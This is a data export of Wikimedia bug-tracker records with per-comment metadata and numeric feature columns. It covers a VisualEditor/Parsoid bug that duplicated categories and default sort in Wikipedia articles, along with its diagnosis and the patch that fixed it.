https://en.wikipedia.org/w/index.php?title=Schuylar_Oordt&curid=37614262&diff=561438828&oldid=561406705",,,1372120806,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-2hl7ewtzlnhd3pk5gn7t,task_subcomment,,True,c1,2,True,,,-1,,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,3.5555555555555554,0.7777777777777778,"Some more examples from URL

URL
URL"
52120,Categories/default sort sometimes duplicated to random position in DOM after edit,"https://en.wikipedia.org/w/index.php?title=Dina_bint_%27Abdu%27l-Hamid&diff=561398396&oldid=561397974

I added a single letter (""therafter"" --> ""thereafter""). VisualEditor duplicated the categories and the default sort.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50385
https://bugzilla.wikimedia.org/show_bug.cgi?id=50332
https://bugzilla.wikimedia.org/show_bug.cgi?id=54169",Unbreak Now!,100.0,1372100100,1373500285.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-cl3n6ut5q64yapdxwsov,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,17.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,7.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,3.4237288135593222,0.5423728813559322,"URL

I added a single letter (""therafter"" --> ""thereafter""). VisualEditor duplicated the categories and the default sort.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL
URL
URL"
245935,Categories/default sort sometimes duplicated to random position in DOM after edit,"The Parsoid fix is deployed. The P-wrapping portion is verified fixed on our test case [[Tim_Gartrell]].

The VE newline migration should be tracked in a different bug. Closing this bug as fixed.",,,1373500285,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,7.0,19.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,7.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,9.0,3.8372093023255816,0.7674418604651163,"The Parsoid fix is deployed. The P-wrapping portion is verified fixed on our test case [[Tim_Gartrell]].

The VE newline migration should be tracked in a different bug. Closing this bug as fixed."
245932,Categories/default sort sometimes duplicated to random position in DOM after edit,"Change 73113 merged by jenkins-bot:
Bug 50120: Avoid paragraph wrapping for DOM fragments with blocks

https://gerrit.wikimedia.org/r/73113",,,1373497930,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.545454545454546,0.9545454545454546,"Change 73113 merged by jenkins-bot:
Bug 50120: Avoid paragraph wrapping for DOM fragments with blocks

GERRIT_URL"
245929,Categories/default sort sometimes duplicated to random position in DOM after edit,"Change 73113 had a related patch set uploaded by GWicke:
Bug 50120: Avoid paragraph wrapping for DOM fragments with blocks

https://gerrit.wikimedia.org/r/73113",,,1373494750,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,24.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.64,0.96,"Change 73113 had a related patch set uploaded by GWicke:
Bug 50120: Avoid paragraph wrapping for DOM fragments with blocks

GERRIT_URL"
245926,Categories/default sort sometimes duplicated to random position in DOM after edit,"Subbu, Gabriel and I figured this out on IRC, and Subbu and Gabriel are working on a fix. Summary for the benefit of those following this bug:

* On the first parse (either upon first VE load after the cache is purged, or upon the first edit after the purge), Parsoid parses the PERSONDATA template from scratch (because there is no cached content to reuse) and does so correctly. The output is something like <span>\n</span><table>...</table><link>
* On the second parse, (first or second edit after cache purge), Parsoid reuses the template expansion from the first parse. It notices that the first (span) and last (link) nodes are both inline, and so it assumes the entire template is inline and wraps it in a <p>
* The browser receives this HTML and is unhappy about the <table> inside the <p>, so it moves both the <table> and the <link> out of the <p>, leaving <p><span>\n</span></p><table>...</table><link>. Because the table is not a sibling of the span, VE doesn't recognize the table (or the link) as part of the template. Due to a separate bug in VE, the newline after the link is moved and ends up between the table and the link.
* VE sends this corrupted HTML back to Parsoid, which freaks out and duplicates the table as well as a bunch of categories.
* After the page is edited again (possibly by the user saving the corrupted VE output, possibly some other way), the third parse occurs, and Parsoid again tries to reuse the previous parse's expansion of the template. However, because of the <p> interruption, it only sees the span and doesn't see the table or the link. The table and the link disappear from the output in this and all subsequent parses, masking the bug. The user doesn't notice because the table has style=""display:none;""",,,1373494553,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,False,,,1,,0.5,0.25,0.0,0.75,1.0,4.75,0.75,1.0,0.0,0.0,1.75,0.75,0.0,0.25,0.25,0.25,0.0,4.0,11.75,0.5,0.5,0.0,0.0,0.0,0.25,0.5,0.0,0.25,0.0,0.0,0.25,7.5,1.5,1.25,0.0,0.0,0.0,0.25,0.0,0.5,0.25,0.0,0.5,0.75,0.0,0.25,0.0,0.0,0.25,16.0,0.5,1.0,0.0,0.0,0.25,0.0,0.0,0.25,1.75,0.25,0.25,0.75,0.0,0.25,0.0,0.0,0.0,12.5,2.5,7.5,2.0,5.5,15.25,0.0,0.0,0.0,0.0,1.25,0.0,0.0,0.0,1.5,11.75,4.5,0.0,0.25,0.0,1.5,0.0,0.25,1.25,0.0,1.25,0.0,0.0,5.0,3.7890625,0.6354166666666667,"Subbu, Gabriel and I figured this out on IRC, and Subbu and Gabriel are working on a fix. Summary for the benefit of those following this bug:

* On the first parse (either upon first VE load after the cache is purged, or upon the first edit after the purge), Parsoid parses the PERSONDATA template from scratch (because there is no cached content to reuse) and does so correctly. The output is something like <span>\n</span><table>...</table><link>
* On the second parse, (first or second edit after cache purge), Parsoid reuses the template expansion from the first parse. It notices that the first (span) and last (link) nodes are both inline, and so it assumes the entire template is inline and wraps it in a <p>
* The browser receives this HTML and is unhappy about the <table> inside the <p>, so it moves both the <table> and the <link> out of the <p>, leaving <p><span>\n</span></p><table>...</table><link>. Because the table is not a sibling of the span, VE doesn't recognize the table (or the link) as part of the template. Due to a separate bug in VE, the newline after the link is moved and ends up between the table and the link.
* VE sends this corrupted HTML back to Parsoid, which freaks out and duplicates the table as well as a bunch of categories.
* After the page is edited again (possibly by the user saving the corrupted VE output, possibly some other way), the third parse occurs, and Parsoid again tries to reuse the previous parse's expansion of the template. However, because of the <p> interruption, it only sees the span and doesn't see the table or the link. The table and the link disappear from the output in this and all subsequent parses, masking the bug. The user doesn't notice because the table has style=""display:none;"""
245920,Categories/default sort sometimes duplicated to random position in DOM after edit,https://en.wikipedia.org/w/index.php?title=Tim_Gartrell&curid=1659124&diff=563696826&oldid=563696785,,,1373484409,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
245911,Categories/default sort sometimes duplicated to random position in DOM after edit,*** Bug 50554 has been marked as a duplicate of this bug. ***,,,1373484208,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50554 has been marked as a duplicate of this bug. ***
245904,Categories/default sort sometimes duplicated to random position in DOM after edit,"See also: bug 50554, bug 50385.",,,1373484037,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.888888888888889,0.8888888888888888,"See also: bug 50554, bug 50385."
245897,Categories/default sort sometimes duplicated to random position in DOM after edit,"Another case:
https://en.wikipedia.org/w/index.php?title=Frederick_Calvert,_6th_Baron_Baltimore&curid=884173&diff=563705563&oldid=563705411

Also updated the subject and moved to VE.",,,1373483575,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,27.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.466666666666667,1.0,"Another case:
URL

Also updated the subject and moved to VE."
245890,Categories/default sort sometimes duplicated to random position in DOM after edit,"That's really strange. The template is one unit in the VE data model, so if <link> tags are placed in the middle of it that must be a bug in the data model -> HTML conversion, not in the data model itself.",,,1373479449,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,14.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,22.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,8.0,4.0,0.0,14.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,14.0,8.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,4.0,3.28,0.74,"That's really strange. The template is one unit in the VE data model, so if <link> tags are placed in the middle of it that must be a bug in the data model -> HTML conversion, not in the data model itself."
245884,Categories/default sort sometimes duplicated to random position in DOM after edit,"(In reply to comment #15)
> So, there may also be a Parsoid issue here about how such templates are
> parsed.

As long as the content (including ws-only spans) is properly encapsulated that should not be relevant for this corruption.

I have seen VE move categories to random places in the DOM before. Apparently that bug is still alive. And hard to reproduce, sadly.",,,1373476466,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,2.0,2.0,6.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,2.0,0.0,14.0,11.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,15.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,3.0,5.0,14.0,0.0,2.0,6.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,2.0,11.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.787878787878788,0.803030303030303,"(In reply to comment #15)
QUOTE
QUOTE

As long as the content (including ws-only spans) is properly encapsulated that should not be relevant for this corruption.

I have seen VE move categories to random places in the DOM before. Apparently that bug is still alive. And hard to reproduce, sadly."
245878,Categories/default sort sometimes duplicated to random position in DOM after edit,Possibly related: bug 50332.,,,1373476038,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,1.0,Possibly related: bug 50332.
245873,Categories/default sort sometimes duplicated to random position in DOM after edit,"And, I misspoke. The spans from the template before/after the table are not really ""empty"" -- they have whitespace.  And, the more interesting thing is that these spans do not get the display:none; css style but the table gets it from the style on the table ==> the spans are technically visible (with whitespace ignored in the browser) in VE, but the table is not.

So, there may also be a Parsoid issue here about how such templates are parsed.",,,1373475508,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,1.0,2.0,3.0,2.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.5,0.0,8.0,8.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,5.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.5,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,9.0,5.0,5.0,1.5,2.5,9.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,3.0,8.0,2.0,0.0,1.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,0.5,0.0,1.0,3.6431372549019607,0.7921568627450981,"And, I misspoke. The spans from the template before/after the table are not really ""empty"" -- they have whitespace.  And, the more interesting thing is that these spans do not get the display:none; css style but the table gets it from the style on the table ==> the spans are technically visible (with whitespace ignored in the browser) in VE, but the table is not.

So, there may also be a Parsoid issue here about how such templates are parsed."
245868,Categories/default sort sometimes duplicated to random position in DOM after edit,"This may be a VE bug (unconfirmed).  Here is what I did.

I parsed mw:Jayaprakash Narayan on my local parsoid install and saved the HTML.
I then added a <link rel=""mw:WikiLink/Category"" href=""Category:foobar""> (a new category essentially mimicking editor behavior), but I added it between the empty span that marks the opening of the Persondata tmeplate and the <table> that is part of the template.  This effectively splits the template and duplicates the rest of the template.

If you look at the diff in https://en.wikipedia.org/w/index.php?title=Jayaprakash_Narayan&diff=563627722&oldid=563627392, all the categories are between the end of the template and the table. The above experiment yielded something similar, except in the diff, all categories are moved up.

So, it does seem that when a user adds categories, new/old categories are being moved/inserted between the empty span and the table breaking the atomic encapsulated template into two.

Also note that this only seems to affect Persondata template 
* in original wikitext, default sort template immediately follows the persondata template.
* it has an empty span before/after the table
* it has display:none set on it which means it doesn't show up in the editor.

Not sure if cursor position affects where categories are inserted.  Can VE folks verify this hypothesis?",,,1373475152,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,True,,,1,,0.6666666666666666,0.3333333333333333,0.0,1.3333333333333333,0.6666666666666666,5.0,0.6666666666666666,0.0,0.0,0.6666666666666666,1.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,1.6666666666666667,0.0,5.0,8.666666666666666,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,2.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,6.666666666666667,1.0,2.3333333333333335,1.0,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,17.0,0.6666666666666666,1.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,9.333333333333334,2.6666666666666665,8.0,2.3333333333333335,2.0,11.666666666666666,0.0,0.0,0.0,0.0,2.3333333333333335,0.0,0.3333333333333333,0.0,4.333333333333333,8.666666666666666,3.0,0.3333333333333333,0.6666666666666666,0.0,4.333333333333333,0.0,2.0,1.6666666666666667,0.0,0.6666666666666666,0.0,0.3333333333333333,1.0,4.026819923371647,0.6973180076628352,"This may be a VE bug (unconfirmed).  Here is what I did.

I parsed mw:Jayaprakash Narayan on my local parsoid install and saved the HTML.
I then added a <link rel=""mw:WikiLink/Category"" href=""Category:foobar""> (a new category essentially mimicking editor behavior), but I added it between the empty span that marks the opening of the Persondata tmeplate and the <table> that is part of the template.  This effectively splits the template and duplicates the rest of the template.

If you look at the diff in URL all the categories are between the end of the template and the table. The above experiment yielded something similar, except in the diff, all categories are moved up.

So, it does seem that when a user adds categories, new/old categories are being moved/inserted between the empty span and the table breaking the atomic encapsulated template into two.

Also note that this only seems to affect Persondata template 
* in original wikitext, default sort template immediately follows the persondata template.
* it has an empty span before/after the table
* it has display:none set on it which means it doesn't show up in the editor.

Not sure if cursor position affects where categories are inserted.  Can VE folks verify this hypothesis?"
245862,Categories/default sort sometimes duplicated to random position in DOM after edit,"Couple more:
https://en.wikipedia.org/w/index.php?title=Peter_Biddle&diff=563624872&oldid=563623995
https://en.wikipedia.org/w/index.php?title=Jayaprakash_Narayan&diff=563627722&oldid=563627392

Based on inspection of recent diffs, I'd call this the single most prevalent and most problematic content corruption issue at this point.",,,1373440943,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,4.151515151515151,0.8787878787878788,"Couple more:
URL
URL

Based on inspection of recent diffs, I'd call this the single most prevalent and most problematic content corruption issue at this point."
245856,Categories/default sort sometimes duplicated to random position in DOM after edit,Note the additional table screw-up in that one. We may need some cross-browser hammering on those revs to see if it's a browser-specific issue.,,,1373439890,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,False,,,1,,3.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,3.0,0.0,15.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.6363636363636362,0.8787878787878788,Note the additional table screw-up in that one. We may need some cross-browser hammering on those revs to see if it's a browser-specific issue.
245852,Categories/default sort sometimes duplicated to random position in DOM after edit,"Another one:
https://en.wikipedia.org/w/index.php?title=Rick_DePiro&curid=29139774&diff=563628155&oldid=560712931",,,1373439837,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,"Another one:
URL"
245847,Categories/default sort sometimes duplicated to random position in DOM after edit,"Nope, still occurring.
https://en.wikipedia.org/w/index.php?title=Ma_Huateng&curid=6152047&diff=563628488&oldid=555028382",,,1373439682,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,3.4285714285714284,1.0,"Nope, still occurring.
URL"
245840,Categories/default sort sometimes duplicated to random position in DOM after edit,"https://en.wikipedia.org/w/index.php?title=Mat_Devine&curid=28997812&diff=563130933&oldid=563130533 looks like a VE bug to me. I can't reproduce it any more (similar to the case in bug 50853), so I am guessing that something in last night's VE deploy fixed this.

Closing as fixed, please reopen if this still happens.",,,1373399973,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,True,,,1,,2.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,6.0,0.0,6.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,13.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,11.0,4.0,2.0,9.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,8.0,15.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,3.4150943396226414,0.8113207547169812,"URL looks like a VE bug to me. I can't reproduce it any more (similar to the case in bug 50853), so I am guessing that something in last night's VE deploy fixed this.

Closing as fixed, please reopen if this still happens."
